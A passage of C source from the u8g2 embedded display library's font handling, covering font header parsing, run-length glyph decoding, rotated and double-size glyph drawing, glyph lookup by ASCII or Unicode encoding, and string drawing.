1\t\t1\t\tbbx_mode\t0: proportional, 1: common height, 2: monospace, 3: multiple of 8\n  2\t\t1\t\tbits_per_0\tglyph rle parameter\n  3\t\t1\t\tbits_per_1\tglyph rle parameter\n\n  4\t\t1\t\tbits_per_char_width\t\tglyph rle parameter\n  5\t\t1\t\tbits_per_char_height\tglyph rle parameter\n  6\t\t1\t\tbits_per_char_x\t\tglyph rle parameter\n  7\t\t1\t\tbits_per_char_y\t\tglyph rle parameter\n  8\t\t1\t\tbits_per_delta_x\t\tglyph rle parameter\n\n  9\t\t1\t\tmax_char_width\n  10\t\t1\t\tmax_char_height\n  11\t\t1\t\tx offset\n  12\t\t1\t\ty offset (descent)\n  \n  13\t\t1\t\tascent (capital A)\n  14\t\t1\t\tdescent (lower g)\n  15\t\t1\t\tascent '('\n  16\t\t1\t\tdescent ')'\n  \n  17\t\t1\t\tstart pos 'A' high byte\n  18\t\t1\t\tstart pos 'A' low byte\n\n  19\t\t1\t\tstart pos 'a' high byte\n  20\t\t1\t\tstart pos 'a' low byte\n\n  21\t\t1\t\tstart pos unicode high byte\n  22\t\t1\t\tstart pos unicode low byte\n\n  Font build mode, 0: proportional, 1: common height, 2: monospace, 3: multiple of 8\n\n  Font build mode 0:\t\t\n    - \"t\"\n    - Ref height mode: U8G2_FONT_HEIGHT_MODE_TEXT, U8G2_FONT_HEIGHT_MODE_XTEXT or U8G2_FONT_HEIGHT_MODE_ALL\n    - use in transparent mode only (does not look good in solid mode)\n    - most compact format\n    - different font heights possible\n    \n  Font build mode 1:\t\t\n    - \"h\"\n    - Ref height mode: U8G2_FONT_HEIGHT_MODE_ALL\n    - transparent or solid mode\n    - The height of the glyphs depend on the largest glyph in the font. This means font height depends on postfix \"r\", \"f\" and \"n\".\n\n*/\n\n/* use case: What is the width and the height of the minimal box into which string s fints? */\nvoid u8g2_font_GetStrSize(const void *font, const char *s, u8g2_uint_t *width, u8g2_uint_t *height);\nvoid u8g2_font_GetStrSizeP(const void *font, const char *s, u8g2_uint_t *width, u8g2_uint_t *height);\n\n/* use case: lower left edge of a minimal box is known, what is the correct x, y position for the string draw procedure */\nvoid u8g2_font_AdjustXYToDraw(const void *font, const char *s, u8g2_uint_t *x, u8g2_uint_t *y);\nvoid u8g2_font_AdjustXYToDrawP(const void *font, const char *s, u8g2_uint_t *x, u8g2_uint_t *y);\n\n/* use case: Baseline origin known, return minimal box */\nvoid u8g2_font_GetStrMinBox(u8g2_t *u8g2, const void *font, const char *s, u8g2_uint_t *x, u8g2_uint_t *y, u8g2_uint_t *width, u8g2_uint_t *height);\n\n/* procedures */\n\n/*========================================================================*/\n/* low level byte and word access */\n\n/* removed NOINLINE, because it leads to smaller code, might also be faster */\n//static uint8_t u8g2_font_get_byte(const uint8_t *font, uint8_t offset) U8G2_NOINLINE;\nstatic uint8_t u8g2_font_get_byte(const uint8_t *font, uint8_t offset)\n{\n  font += offset;\n  return u8x8_pgm_read( font );  \n}\n\nstatic uint16_t u8g2_font_get_word(const uint8_t *font, uint8_t offset) U8G2_NOINLINE; \nstatic uint16_t u8g2_font_get_word(const uint8_t *font, uint8_t offset)\n{\n    uint16_t pos;\n    font += offset;\n    pos = u8x8_pgm_read( font );\n    font++;\n    pos <<= 8;\n    pos += u8x8_pgm_read( font);\n    return pos;\n}\n\n/*========================================================================*/\n/* new font format */\nvoid u8g2_read_font_info(u8g2_font_info_t *font_info, const uint8_t *font)\n{\n  /* offset 0 */\n  font_info->glyph_cnt = u8g2_font_get_byte(font, 0);\n  font_info->bbx_mode = u8g2_font_get_byte(font, 1);\n  font_info->bits_per_0 = u8g2_font_get_byte(font, 2);\n  font_info->bits_per_1 = u8g2_font_get_byte(font, 3);\n  \n  /* offset 4 */\n  font_info->bits_per_char_width = u8g2_font_get_byte(font, 4);\n  font_info->bits_per_char_height = u8g2_font_get_byte(font, 5);\n  font_info->bits_per_char_x = u8g2_font_get_byte(font, 6);\n  font_info->bits_per_char_y = u8g2_font_get_byte(font, 7);\n  font_info->bits_per_delta_x = u8g2_font_get_byte(font, 8);\n  \n  /* offset 9 */\n  font_info->max_char_width = u8g2_font_get_byte(font, 9);\n  font_info->max_char_height = u8g2_font_get_byte(font, 10);\n  font_info->x_offset = u8g2_font_get_byte(font, 11);\n  font_info->y_offset = u8g2_font_get_byte(font, 12);\n  \n  /* offset 13 */\n  font_info->ascent_A = u8g2_font_get_byte(font, 13);\n  font_info->descent_g = u8g2_font_get_byte(font, 14);\n  font_info->ascent_para = u8g2_font_get_byte(font, 15);\n  font_info->descent_para = u8g2_font_get_byte(font, 16);\n  \n  /* offset 17 */\n  font_info->start_pos_upper_A = u8g2_font_get_word(font, 17);\n  font_info->start_pos_lower_a = u8g2_font_get_word(font, 19); \n  \n  /* offset 21 */\n#ifdef U8G2_WITH_UNICODE\n  font_info->start_pos_unicode = u8g2_font_get_word(font, 21); \n#endif\n}\n\n\n/* calculate the overall length of the font, only used to create the picture for the google wiki */\nsize_t u8g2_GetFontSize(const uint8_t *font_arg)\n{\n  uint16_t e;\n  const uint8_t *font = font_arg;\n  font += U8G2_FONT_DATA_STRUCT_SIZE;\n  \n  for(;;)\n  {\n    if ( u8x8_pgm_read( font + 1 ) == 0 )\n      break;\n    font += u8x8_pgm_read( font + 1 );\n  }\n  \n  /* continue with unicode section */\n  font += 2;\n\n  /* skip unicode lookup table */\n  font += u8g2_font_get_word(font, 0);\n  \n  for(;;)\n  {\n    e = u8x8_pgm_read( font );\n    e <<= 8;\n    e |= u8x8_pgm_read( font + 1 );\n    if ( e == 0 )\n      break;\n    font += u8x8_pgm_read( font + 2 );    \n  }\n  \n  return (font - font_arg) + 2;\n}\n\n/*========================================================================*/\n/* u8g2 interface, font access */\n\nuint8_t u8g2_GetFontBBXWidth(u8g2_t *u8g2)\n{\n  return u8g2->font_info.max_char_width;\t\t/* new font info structure */\n}\n\nuint8_t u8g2_GetFontBBXHeight(u8g2_t *u8g2)\n{\n  return u8g2->font_info.max_char_height;\t\t/* new font info structure */\n}\n\nint8_t u8g2_GetFontBBXOffX(u8g2_t *u8g2) U8G2_NOINLINE;\nint8_t u8g2_GetFontBBXOffX(u8g2_t *u8g2)\n{\n  return u8g2->font_info.x_offset;\t\t/* new font info structure */\n}\n\nint8_t u8g2_GetFontBBXOffY(u8g2_t *u8g2) U8G2_NOINLINE;\nint8_t u8g2_GetFontBBXOffY(u8g2_t *u8g2)\n{\n  return u8g2->font_info.y_offset;\t\t/* new font info structure */\n}\n\nuint8_t u8g2_GetFontCapitalAHeight(u8g2_t *u8g2) U8G2_NOINLINE; \nuint8_t u8g2_GetFontCapitalAHeight(u8g2_t *u8g2)\n{\n  return u8g2->font_info.ascent_A;\t\t/* new font info structure */\n}\n\n/*========================================================================*/\n/* glyph handling */\n\n/* optimized */\nuint8_t u8g2_font_decode_get_unsigned_bits(u8g2_font_decode_t *f, uint8_t cnt) \n{\n  uint8_t val;\n  uint8_t bit_pos = f->decode_bit_pos;\n  uint8_t bit_pos_plus_cnt;\n  \n  //val = *(f->decode_ptr);\n  val = u8x8_pgm_read( f->decode_ptr );  \n  \n  val >>= bit_pos;\n  bit_pos_plus_cnt = bit_pos;\n  bit_pos_plus_cnt += cnt;\n  if ( bit_pos_plus_cnt >= 8 )\n  {\n    uint8_t s = 8;\n    s -= bit_pos;\n    f->decode_ptr++;\n    //val |= *(f->decode_ptr) << (8-bit_pos);\n    val |= u8x8_pgm_read( f->decode_ptr ) << (s);\n    //bit_pos -= 8;\n    bit_pos_plus_cnt -= 8;\n  }\n  val &= (1U<<cnt)-1;\n  //bit_pos += cnt;\n  \n  f->decode_bit_pos = bit_pos_plus_cnt;\n  return val;\n}\n\n\n/*\n    2 bit --> cnt = 2\n      -2,-1,0. 1\n\n    3 bit --> cnt = 3\n      -2,-1,0. 1\n      -4,-3,-2,-1,0,1,2,3\n\n      if ( x < 0 )\n\tr = bits(x-1)+1;\n    else\n\tr = bits(x)+1;\n\n*/\n/* optimized */\nint8_t u8g2_font_decode_get_signed_bits(u8g2_font_decode_t *f, uint8_t cnt)\n{\n  int8_t v, d;\n  v = (int8_t)u8g2_font_decode_get_unsigned_bits(f, cnt);\n  d = 1;\n  cnt--;\n  d <<= cnt;\n  v -= d;\n  return v;\n  //return (int8_t)u8g2_font_decode_get_unsigned_bits(f, cnt) - ((1<<cnt)>>1);\n}\n\n\n#ifdef U8G2_WITH_FONT_ROTATION\nu8g2_uint_t u8g2_add_vector_y(u8g2_uint_t dy, int8_t x, int8_t y, uint8_t dir)\n{\n  switch(dir)\n  {\n    case 0:\n      dy += y;\n      break;\n    case 1:\n      dy += x;\n      break;\n    case 2:\n      dy -= y;\n      break;\n    default:\n      dy -= x;\n      break;      \n  }\n  return dy;\n}\n\nu8g2_uint_t u8g2_add_vector_x(u8g2_uint_t dx, int8_t x, int8_t y, uint8_t dir)\n{\n  switch(dir)\n  {\n    case 0:\n      dx += x;\n      break;\n    case 1:\n      dx -= y;\n      break;\n    case 2:\n      dx -= x;\n      break;\n    default:\n      dx += y;\n      break;      \n  }\n  return dx;\n}\n\n/*\n// does not make sense, 50 bytes more required on avr\nvoid u8g2_add_vector(u8g2_uint_t *xp, u8g2_uint_t *yp, int8_t x, int8_t y, uint8_t dir)\n{\n  u8g2_uint_t x_ = *xp;\n  u8g2_uint_t y_ = *yp;\n  switch(dir)\n  {\n    case 0:\n      y_ += y;\n      x_ += x;\n      break;\n    case 1:\n      y_ += x;\n      x_ -= y;\n      break;\n    case 2:\n      y_ -= y;\n      x_ -= x;\n      break;\n    default:\n      y_ -= x;\n      x_ += y;\n      break;      \n  }\n  *xp = x_;\n  *yp = y_;\n}\n*/\n#endif\n\n\n\n/*\n  Description:\n    Draw a run-length area of the glyph. \"len\" can have any size and the line\n    length has to be wrapped at the glyph border.\n  Args:\n    len: \t\t\t\t\tLength of the line\n    is_foreground\t\t\tforeground/background?\n    u8g2->font_decode.target_x\t\tX position\n    u8g2->font_decode.target_y\t\tY position\n    u8g2->font_decode.is_transparent\tTransparent mode\n  Return:\n    -\n  Calls:\n    u8g2_Draw90Line()\n  Called by:\n    u8g2_font_decode_glyph()\n*/\n/* optimized */\nvoid u8g2_font_decode_len(u8g2_t *u8g2, uint8_t len, uint8_t is_foreground)\n{\n  uint8_t cnt;\t/* total number of remaining pixels, which have to be drawn */\n  uint8_t rem; \t/* remaining pixel to the right edge of the glyph */\n  uint8_t current;\t/* number of pixels, which need to be drawn for the draw procedure */\n    /* current is either equal to cnt or equal to rem */\n  \n  /* local coordinates of the glyph */\n  uint8_t lx,ly;\n  \n  /* target position on the screen */\n  u8g2_uint_t x, y;\n  \n  u8g2_font_decode_t *decode = &(u8g2->font_decode);\n  \n  cnt = len;\n  \n  /* get the local position */\n  lx = decode->x;\n  ly = decode->y;\n  \n  for(;;)\n  {\n    /* calculate the number of pixel to the right edge of the glyph */\n    rem = decode->glyph_width;\n    rem -= lx;\n    \n    /* calculate how many pixel to draw. This is either to the right edge */\n    /* or lesser, if not enough pixel are left */\n    current = rem;\n    if ( cnt < rem )\n      current = cnt;\n    \n    \n    /* now draw the line, but apply the rotation around the glyph target position */\n    //u8g2_font_decode_draw_pixel(u8g2, lx,ly,current, is_foreground);\n\n    /* get target position */\n    x = decode->target_x;\n    y = decode->target_y;\n\n    /* apply rotation */\n#ifdef U8G2_WITH_FONT_ROTATION\n    \n    x = u8g2_add_vector_x(x, lx, ly, decode->dir);\n    y = u8g2_add_vector_y(y, lx, ly, decode->dir);\n    \n    //u8g2_add_vector(&x, &y, lx, ly, decode->dir);\n    \n#else\n    x += lx;\n    y += ly;\n#endif\n    \n    /* draw foreground and background (if required) */\n    if ( is_foreground )\n    {\n      u8g2->draw_color = decode->fg_color;\t\t\t/* draw_color will be restored later */\n      u8g2_DrawHVLine(u8g2, \n\tx, \n\ty, \n\tcurrent, \n#ifdef U8G2_WITH_FONT_ROTATION\n\t/* dir */ decode->dir\n#else\n\t0\n#endif\n      );\n    }\n    else if ( decode->is_transparent == 0 )    \n    {\n      u8g2->draw_color = decode->bg_color;\t\t\t/* draw_color will be restored later */\n      u8g2_DrawHVLine(u8g2, \n\tx, \n\ty, \n\tcurrent, \n#ifdef U8G2_WITH_FONT_ROTATION\n\t/* dir */ decode->dir\n#else\n\t0\n#endif\n      );   \n    }\n    \n    /* check, whether the end of the run length code has been reached */\n    if ( cnt < rem )\n      break;\n    cnt -= rem;\n    lx = 0;\n    ly++;\n  }\n  lx += cnt;\n  \n  decode->x = lx;\n  decode->y = ly;  \n}\n\n\nvoid u8g2_font_2x_decode_len(u8g2_t *u8g2, uint8_t len, uint8_t is_foreground)\n{\n  uint8_t cnt;\t/* total number of remaining pixels, which have to be drawn */\n  uint8_t rem; \t/* remaining pixel to the right edge of the glyph */\n  uint8_t current;\t/* number of pixels, which need to be drawn for the draw procedure */\n    /* current is either equal to cnt or equal to rem */\n  \n  /* local coordinates of the glyph */\n  uint8_t lx,ly;\n  \n  /* target position on the screen */\n  u8g2_uint_t x, y;\n  \n  u8g2_font_decode_t *decode = &(u8g2->font_decode);\n  \n  cnt = len;\n  \n  /* get the local position */\n  lx = decode->x;\n  ly = decode->y;\n  \n  for(;;)\n  {\n    /* calculate the number of pixel to the right edge of the glyph */\n    rem = decode->glyph_width;\n    rem -= lx;\n    \n    /* calculate how many pixel to draw. This is either to the right edge */\n    /* or lesser, if not enough pixel are left */\n    current = rem;\n    if ( cnt < rem )\n      current = cnt;\n    \n    \n    /* now draw the line, but apply the rotation around the glyph target position */\n    //u8g2_font_decode_draw_pixel(u8g2, lx,ly,current, is_foreground);\n\n    /* get target position */\n    x = decode->target_x;\n    y = decode->target_y;\n\n    x += lx*2;\n    y += ly*2;\n    \n    /* draw foreground and background (if required) */\n    if ( is_foreground )\n    {\n      u8g2->draw_color = decode->fg_color;\t\t\t/* draw_color will be restored later */\n      u8g2_DrawHVLine(u8g2, \n\tx, \n\ty, \n\tcurrent*2, \n\t0\n      );\n      u8g2_DrawHVLine(u8g2, \n\tx, \n\ty+1, \n\tcurrent*2, \n\t0\n      );\n    }\n    else if ( decode->is_transparent == 0 )    \n    {\n      u8g2->draw_color = decode->bg_color;\t\t\t/* draw_color will be restored later */\n      u8g2_DrawHVLine(u8g2, \n\tx, \n\ty, \n\tcurrent*2, \n\t0\n      );   \n      u8g2_DrawHVLine(u8g2, \n\tx, \n\ty+1, \n\tcurrent*2, \n\t0\n      );   \n    }\n    \n    /* check, whether the end of the run length code has been reached */\n    if ( cnt < rem )\n      break;\n    cnt -= rem;\n    lx = 0;\n    ly++;\n  }\n  lx += cnt;\n  \n  decode->x = lx;\n  decode->y = ly;\n  \n}\n\n\nstatic void u8g2_font_setup_decode(u8g2_t *u8g2, const uint8_t *glyph_data)\n{\n  u8g2_font_decode_t *decode = &(u8g2->font_decode);\n  decode->decode_ptr = glyph_data;\n  decode->decode_bit_pos = 0;\n  \n  /* 8 Nov 2015, this is already done in the glyph data search procedure */\n  /*\n  decode->decode_ptr += 1;\n  decode->decode_ptr += 1;\n  */\n  \n  decode->glyph_width = u8g2_font_decode_get_unsigned_bits(decode, u8g2->font_info.bits_per_char_width);\n  decode->glyph_height = u8g2_font_decode_get_unsigned_bits(decode,u8g2->font_info.bits_per_char_height);\n  \n  decode->fg_color = u8g2->draw_color;\n  decode->bg_color = (decode->fg_color == 0 ? 1 : 0);\n}\n\n\n/*\n  Description:\n    Decode and draw a glyph.\n  Args:\n    glyph_data: \t\t\t\t\tPointer to the compressed glyph data of the font\n    u8g2->font_decode.target_x\t\tX position\n    u8g2->font_decode.target_y\t\tY position\n    u8g2->font_decode.is_transparent\tTransparent mode\n  Return:\n    Width (delta x advance) of the glyph.\n  Calls:\n    u8g2_font_decode_len()\n*/\n/* optimized */\nint8_t u8g2_font_decode_glyph(u8g2_t *u8g2, const uint8_t *glyph_data)\n{\n  uint8_t a, b;\n  int8_t x, y;\n  int8_t d;\n  int8_t h;\n  u8g2_font_decode_t *decode = &(u8g2->font_decode);\n    \n  u8g2_font_setup_decode(u8g2, glyph_data);     /* set values in u8g2->font_decode data structure */\n  h = u8g2->font_decode.glyph_height;\n  \n  x = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_char_x);\n  y = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_char_y);\n  d = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_delta_x);\n  \n  if ( decode->glyph_width > 0 )\n  {\n#ifdef U8G2_WITH_FONT_ROTATION\n    decode->target_x = u8g2_add_vector_x(decode->target_x, x, -(h+y), decode->dir);\n    decode->target_y = u8g2_add_vector_y(decode->target_y, x, -(h+y), decode->dir);\n    \n    //u8g2_add_vector(&(decode->target_x), &(decode->target_y), x, -(h+y), decode->dir);\n\n#else\n    decode->target_x += x;\n    decode->target_y -= h+y;\n#endif\n    //u8g2_add_vector(&(decode->target_x), &(decode->target_y), x, -(h+y), decode->dir);\n\n#ifdef U8G2_WITH_INTERSECTION\n    {\n      u8g2_uint_t x0, x1, y0, y1;\n      x0 = decode->target_x;\n      y0 = decode->target_y;\n      x1 = x0;\n      y1 = y0;\n      \n#ifdef U8G2_WITH_FONT_ROTATION\n      switch(decode->dir)\n      {\n\tcase 0:\n\t    x1 += decode->glyph_width;\n\t    y1 += h;\n\t    break;\n\tcase 1:\n\t    x0 -= h;\n\t    x0++;\t/* shift down, because of assymetric boundaries for the interseciton test */\n\t    x1++;\n\t    y1 += decode->glyph_width;\n\t    break;\n\tcase 2:\n\t    x0 -= decode->glyph_width;\n\t    x0++;\t/* shift down, because of assymetric boundaries for the interseciton test */\n\t    x1++;\n\t    y0 -= h;\n\t    y0++;\t/* shift down, because of assymetric boundaries for the interseciton test */\n\t    y1++;\n\t    break;\t  \n\tcase 3:\n\t    x1 += h;\n\t    y0 -= decode->glyph_width;\n\t    y0++;\t/* shift down, because of assymetric boundaries for the interseciton test */\n\t    y1++;\n\t    break;\t  \n      }\n#else /* U8G2_WITH_FONT_ROTATION */\n      x1 += decode->glyph_width;\n      y1 += h;      \n#endif\n      \n      if ( u8g2_IsIntersection(u8g2, x0, y0, x1, y1) == 0 ) \n\treturn d;\n    }\n#endif /* U8G2_WITH_INTERSECTION */\n   \n    /* reset local x/y position */\n    decode->x = 0;\n    decode->y = 0;\n    \n    /* decode glyph */\n    for(;;)\n    {\n      a = u8g2_font_decode_get_unsigned_bits(decode, u8g2->font_info.bits_per_0);\n      b = u8g2_font_decode_get_unsigned_bits(decode, u8g2->font_info.bits_per_1);\n      do\n      {\n\tu8g2_font_decode_len(u8g2, a, 0);\n\tu8g2_font_decode_len(u8g2, b, 1);\n      } while( u8g2_font_decode_get_unsigned_bits(decode, 1) != 0 );\n\n      if ( decode->y >= h )\n\tbreak;\n    }\n    \n    /* restore the u8g2 draw color, because this is modified by the decode algo */\n    u8g2->draw_color = decode->fg_color;\n  }\n  return d;\n}\n\n\nint8_t u8g2_font_2x_decode_glyph(u8g2_t *u8g2, const uint8_t *glyph_data)\n{\n  uint8_t a, b;\n  int8_t x, y;\n  int8_t d;\n  int8_t h;\n  u8g2_font_decode_t *decode = &(u8g2->font_decode);\n    \n  u8g2_font_setup_decode(u8g2, glyph_data);     /* set values in u8g2->font_decode data structure */\n  h = u8g2->font_decode.glyph_height;\n  \n  x = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_char_x);\n  y = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_char_y);\n  d = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_delta_x);\n  \n  if ( decode->glyph_width > 0 )\n  {\n    decode->target_x += x;\n    decode->target_y -= 2*h+y;\n\n#ifdef U8G2_WITH_INTERSECTION\n    {\n      u8g2_uint_t x0, x1, y0, y1;\n      x0 = decode->target_x;\n      y0 = decode->target_y;\n      x1 = x0;\n      y1 = y0;\n      \n      x1 += 2*decode->glyph_width;\n      y1 += 2*h;      \n      \n      if ( u8g2_IsIntersection(u8g2, x0, y0, x1, y1) == 0 ) \n\treturn d;\n    }\n#endif /* U8G2_WITH_INTERSECTION */\n   \n    /* reset local x/y position */\n    decode->x = 0;\n    decode->y = 0;\n    \n    /* decode glyph */\n    for(;;)\n    {\n      a = u8g2_font_decode_get_unsigned_bits(decode, u8g2->font_info.bits_per_0);\n      b = u8g2_font_decode_get_unsigned_bits(decode, u8g2->font_info.bits_per_1);\n      do\n      {\n\tu8g2_font_2x_decode_len(u8g2, a, 0);\n\tu8g2_font_2x_decode_len(u8g2, b, 1);\n      } while( u8g2_font_decode_get_unsigned_bits(decode, 1) != 0 );\n\n      if ( decode->y >= h )\n\tbreak;\n    }\n    \n    /* restore the u8g2 draw color, because this is modified by the decode algo */\n    u8g2->draw_color = decode->fg_color;\n  }\n  return d*2;\n}\n\n/*\n  Description:\n    Find the starting point of the glyph data.\n  Args:\n    encoding: Encoding (ASCII or Unicode) of the glyph\n  Return:\n    Address of the glyph data or NULL, if the encoding is not avialable in the font.\n*/\nconst uint8_t *u8g2_font_get_glyph_data(u8g2_t *u8g2, uint16_t encoding)\n{\n  const uint8_t *font = u8g2->font;\n  font += U8G2_FONT_DATA_STRUCT_SIZE;\n\n  \n  if ( encoding <= 255 )\n  {\n    if ( encoding >= 'a' )\n    {\n      font += u8g2->font_info.start_pos_lower_a;\n    }\n    else if ( encoding >= 'A' )\n    {\n      font += u8g2->font_info.start_pos_upper_A;\n    }\n    \n    for(;;)\n    {\n      if ( u8x8_pgm_read( font + 1 ) == 0 )\n\tbreak;\n      if ( u8x8_pgm_read( font ) == encoding )\n      {\n\treturn font+2;\t/* skip encoding and glyph size */\n      }\n      font += u8x8_pgm_read( font + 1 );\n    }\n  }\n#ifdef U8G2_WITH_UNICODE\n  else\n  {\n    uint16_t e;\n    const uint8_t *unicode_lookup_table;\n    \n// removed, there is now the new index table\n//#ifdef  __unix__\n//    if ( u8g2->last_font_data != NULL && encoding >= u8g2->last_unicode )\n//    {\n//\tfont = u8g2->last_font_data;\n//    }\n//    else\n//#endif \n\n    font += u8g2->font_info.start_pos_unicode;\n    unicode_lookup_table = font; \n  \n    /* issue 596: search for the glyph start in the unicode lookup table */\n    do\n    {\n      font += u8g2_font_get_word(unicode_lookup_table, 0);\n      e = u8g2_font_get_word(unicode_lookup_table, 2);\n      unicode_lookup_table+=4;\n    } while( e < encoding );\n    \n  \n    for(;;)\n    {\n      e = u8x8_pgm_read( font );\n      e <<= 8;\n      e |= u8x8_pgm_read( font + 1 );\n  \n// removed, there is now the new index table  \n//#ifdef  __unix__\n//      if ( encoding < e )\n//        break;\n//#endif \n\n      if ( e == 0 )\n\tbreak;\n  \n      if ( e == encoding )\n      {\n// removed, there is now the new index table\n//#ifdef  __unix__\n//\tu8g2->last_font_data = font;\n//\tu8g2->last_unicode = encoding;\n//#endif \n\treturn font+3;\t/* skip encoding and glyph size */\n      }\n      font += u8x8_pgm_read( font + 2 );\n    }  \n  }\n#endif\n  \n  return NULL;\n}\n\nstatic u8g2_uint_t u8g2_font_draw_glyph(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding)\n{\n  u8g2_uint_t dx = 0;\n  u8g2->font_decode.target_x = x;\n  u8g2->font_decode.target_y = y;\n  //u8g2->font_decode.is_transparent = is_transparent; this is already set\n  //u8g2->font_decode.dir = dir;\n  const uint8_t *glyph_data = u8g2_font_get_glyph_data(u8g2, encoding);\n  if ( glyph_data != NULL )\n  {\n    dx = u8g2_font_decode_glyph(u8g2, glyph_data);\n  }\n  return dx;\n}\n\nstatic u8g2_uint_t u8g2_font_2x_draw_glyph(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding)\n{\n  u8g2_uint_t dx = 0;\n  u8g2->font_decode.target_x = x;\n  u8g2->font_decode.target_y = y;\n  const uint8_t *glyph_data = u8g2_font_get_glyph_data(u8g2, encoding);\n  if ( glyph_data != NULL )\n  {\n    dx = u8g2_font_2x_decode_glyph(u8g2, glyph_data);\n  }\n  return dx;\n}\n\n\n\nuint8_t u8g2_IsGlyph(u8g2_t *u8g2, uint16_t requested_encoding)\n{\n  /* updated to new code */\n  if ( u8g2_font_get_glyph_data(u8g2, requested_encoding) != NULL )\n    return 1;\n  return 0;\n}\n\n/* side effect: updates u8g2->font_decode and u8g2->glyph_x_offset */\nint8_t u8g2_GetGlyphWidth(u8g2_t *u8g2, uint16_t requested_encoding)\n{\n  const uint8_t *glyph_data = u8g2_font_get_glyph_data(u8g2, requested_encoding);\n  if ( glyph_data == NULL )\n    return 0; \n  \n  u8g2_font_setup_decode(u8g2, glyph_data);\n  u8g2->glyph_x_offset = u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_char_x);\n  u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_char_y);\n  \n  /* glyph width is here: u8g2->font_decode.glyph_width */\n\n  return u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_delta_x);\n}\n\n\n/*\n  set one of:\n    U8G2_FONT_MODE_TRANSPARENT\n    U8G2_FONT_MODE_SOLID\n    U8G2_FONT_MODE_NONE\n  This has been changed for the new font procedures  \n*/\nvoid u8g2_SetFontMode(u8g2_t *u8g2, uint8_t is_transparent)\n{\n  u8g2->font_decode.is_transparent = is_transparent;\t\t// new font procedures\n}\n\nu8g2_uint_t u8g2_DrawGlyph(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding)\n{\n#ifdef U8G2_WITH_FONT_ROTATION\n  switch(u8g2->font_decode.dir)\n  {\n    case 0:\n      y += u8g2->font_calc_vref(u8g2);\n      break;\n    case 1:\n      x -= u8g2->font_calc_vref(u8g2);\n      break;\n    case 2:\n      y -= u8g2->font_calc_vref(u8g2);\n      break;\n    case 3:\n      x += u8g2->font_calc_vref(u8g2);\n      break;\n  }\n#else\n  y += u8g2->font_calc_vref(u8g2);\n#endif\n  return u8g2_font_draw_glyph(u8g2, x, y, encoding);\n}\n\nu8g2_uint_t u8g2_DrawGlyphX2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding)\n{\n  y += 2*u8g2->font_calc_vref(u8g2);\n  return u8g2_font_2x_draw_glyph(u8g2, x, y, encoding);\n}\n\nstatic u8g2_uint_t u8g2_draw_string(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str) U8G2_NOINLINE;\nstatic u8g2_uint_t u8g2_draw_string(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str)\n{\n  uint16_t e;\n  u8g2_uint_t delta, sum;\n  u8x8_utf8_init(u8g2_GetU8x8(u8g2));\n  sum = 0;\n  for(;;)\n  {\n    e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str);\n    if ( e == 0x0ffff )\n      break;\n    str++;\n    if ( e != 0x0fffe )\n    {\n      delta = u8g2_DrawGlyph(u8g2, x, y, e);\n    \n#ifdef U8G2_WITH_FONT_ROTATION\n      switch(u8g2->font_decode.dir)\n      {\n\tcase 0:\n\t  x += delta;\n\t  break;\n\tcase 1:\n\t  y += delta;\n\t  break;\n\tcase 2:\n\t  x -= delta;\n\t  break;\n\tcase 3:\n\t  y -= delta;\n\t  break;\n      }\n      \n      /*\n      // requires 10 bytes more on avr\n      x = u8g2_add_vector_x(x, delta, 0, u8g2->font_decode.dir);\n      y = u8g2_add_vector_y(y, delta, 0, u8g2->font_decode.dir);\n      */\n\n#else\n      x += delta;\n#endif\n\n      sum += delta;    \n    }\n  }\n  return sum;\n}\n\nstatic u8g2_uint_t u8g2_draw_string_2x(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str) U8G2_NOINLINE;\nstatic u8g2_uint_t u8g2_draw_string_2x(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str)\n{\n  uint16_t e;\n  u8g2_uint_t delta, sum;\n  u8x8_utf8_init(u8g2_GetU8x8(u8g2));\n  sum = 0;\n  for(;;)\n  {\n    e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str);\n    if ( e == 0x0ffff )\n      break;\n    str++;\n    if ( e != 0x0fffe )\n    {\n      delta = u8g2_DrawGlyphX2(u8g2, x, y, e);\n      x += delta;\n      sum += delta;    \n    }\n  }\n  return sum;\n}\n\nu8g2_uint_t u8g2_DrawStr(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str)\n{\n  u8g2->u8x8.next_cb = u8x8_ascii_next;\n  return u8g2_draw_string(u8g2, x, y, str);\n}\n\nu8g2_uint_t u8g2_DrawStrX2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str)\n{\n  u8g2->u8x8.next_cb = u8x8_ascii_next;\n  return u8g2_draw_string_2x(u8g2, x, y, str);\n}\n\n/*\nsource: https://en.wikipedia.org/wiki/UTF-8\nBits\tfrom \t\tto\t\t\tbytes\tByte 1 \t\tByte 2 \t\tByte 3 \t\tByte 4 \t\tByte 5 \t\tByte 6\n  7 \tU+0000 \t\tU+007F \t\t1 \t\t0xxxxxxx\n11 \tU+0080 \t\tU+07FF \t\t2 \t\t110xxxxx \t10xxxxxx\n16 \tU+0800 \t\tU+FFFF \t\t3 \t\t1110xxxx \t10xxxxxx \t10xxxxxx\n21 \tU+10000 \tU+1FFFFF \t4 \t\t11110xxx \t10xxxxxx \t10xxxxxx \t10xxxxxx\n26 \tU+200000 \tU+3FFFFFF \t5 \t\t111110xx \t10xxxxxx \t10xxxxxx \t10xxxxxx \t10xxxxxx\n31 \tU+4000000 \tU+7FFFFFFF \t6 \t\t1111110x 